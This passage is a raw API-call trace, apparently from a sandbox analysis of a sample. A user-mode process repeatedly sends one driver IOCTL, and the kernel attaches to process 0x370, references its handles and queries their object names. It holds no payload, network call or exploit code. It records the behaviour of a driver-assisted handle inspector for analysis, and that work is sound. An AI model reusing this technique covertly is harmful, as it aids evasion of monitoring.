PsReleaseProcessExitSynchronization () returned 0x2 [0121.960] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.960] ObfDereferenceObject (Object=0xfffffa800344b740) returned 0x12 [0121.960] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.961] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.961] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.961] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0121.961] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.961] PsAcquireProcessExitSynchronization () returned 0x0 [0121.961] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.961] ObReferenceObjectByHandle (in: Handle=0x910, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f80070, HandleInformation=0x0) returned 0x0 [0121.961] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.961] PsReleaseProcessExitSynchronization () returned 0x2 [0121.961] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.961] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.961] ObfDereferenceObject (Object=0xfffffa8002f80070) returned 0xa [0121.961] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0122.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0122.336] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.336] PsAcquireProcessExitSynchronization () returned 0x0 [0122.336] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.336] ObReferenceObjectByHandle (in: Handle=0x914, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f80c00, HandleInformation=0x0) returned 0x0 [0122.336] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.336] PsReleaseProcessExitSynchronization () returned 0x2 [0122.336] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.336] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0122.336] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0122.336] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0122.336] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.336] PsAcquireProcessExitSynchronization () returned 0x0 [0122.336] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.336] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0122.336] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.337] PsReleaseProcessExitSynchronization () returned 0x2 [0122.337] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.337] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0122.337] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0122.337] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.337] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.337] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.337] PsAcquireProcessExitSynchronization () returned 0x0 [0122.337] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.337] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0122.337] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.337] PsReleaseProcessExitSynchronization () returned 0x2 [0122.337] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.337] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.337] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0122.337] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.337] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.337] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.337] PsAcquireProcessExitSynchronization () returned 0x0 [0122.337] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.337] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0122.337] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.337] PsReleaseProcessExitSynchronization () returned 0x2 [0122.337] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.337] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0122.338] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0122.338] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.338] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.338] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.338] PsAcquireProcessExitSynchronization () returned 0x0 [0122.338] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.338] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0122.338] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.338] PsReleaseProcessExitSynchronization () returned 0x2 [0122.338] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.338] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0122.338] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0122.338] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.338] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0122.338] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.338] PsAcquireProcessExitSynchronization () returned 0x0 [0122.338] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.338] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0122.338] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.338] PsReleaseProcessExitSynchronization () returned 0x2 [0122.338] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.338] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.338] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0122.338] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.338] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.339] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.339] PsAcquireProcessExitSynchronization () returned 0x0 [0122.339] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.339] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0122.339] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.339] PsReleaseProcessExitSynchronization () returned 0x2 [0122.339] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.339] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.339] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0122.339] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.339] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.339] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0122.339] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.339] PsAcquireProcessExitSynchronization () returned 0x0 [0122.339] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.339] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0122.339] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.339] PsReleaseProcessExitSynchronization () returned 0x2 [0122.339] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.339] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.339] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0122.339] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.339] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.339] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0122.339] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.339] PsAcquireProcessExitSynchronization () returned 0x0 [0122.339] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.340] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0122.340] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.340] PsReleaseProcessExitSynchronization () returned 0x2 [0122.340] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.340] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.340] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0122.340] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.340] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.340] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0122.340] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.340] PsAcquireProcessExitSynchronization () returned 0x0 [0122.340] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.340] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0122.340] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.340] PsReleaseProcessExitSynchronization () returned 0x2 [0122.340] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.340] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.340] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x21 [0122.340] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.340] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.340] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.340] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.340] PsAcquireProcessExitSynchronization () returned 0x0 [0122.340] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.340] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0122.340] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.340] PsReleaseProcessExitSynchronization () returned 0x2 [0122.340] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.341] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.341] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0122.341] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.341] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.341] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.341] PsAcquireProcessExitSynchronization () returned 0x0 [0122.341] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.341] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0122.341] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.341] PsReleaseProcessExitSynchronization () returned 0x2 [0122.341] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.341] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.341] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0122.341] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.341] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.341] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.341] PsAcquireProcessExitSynchronization () returned 0x0 [0122.341] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.341] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0122.341] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.341] PsReleaseProcessExitSynchronization () returned 0x2 [0122.341] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.341] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.341] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0122.341] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.341] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.341] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0122.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.342] PsAcquireProcessExitSynchronization () returned 0x0 [0122.342] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.342] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0122.342] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.342] PsReleaseProcessExitSynchronization () returned 0x2 [0122.342] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.342] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.342] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0122.342] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.342] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 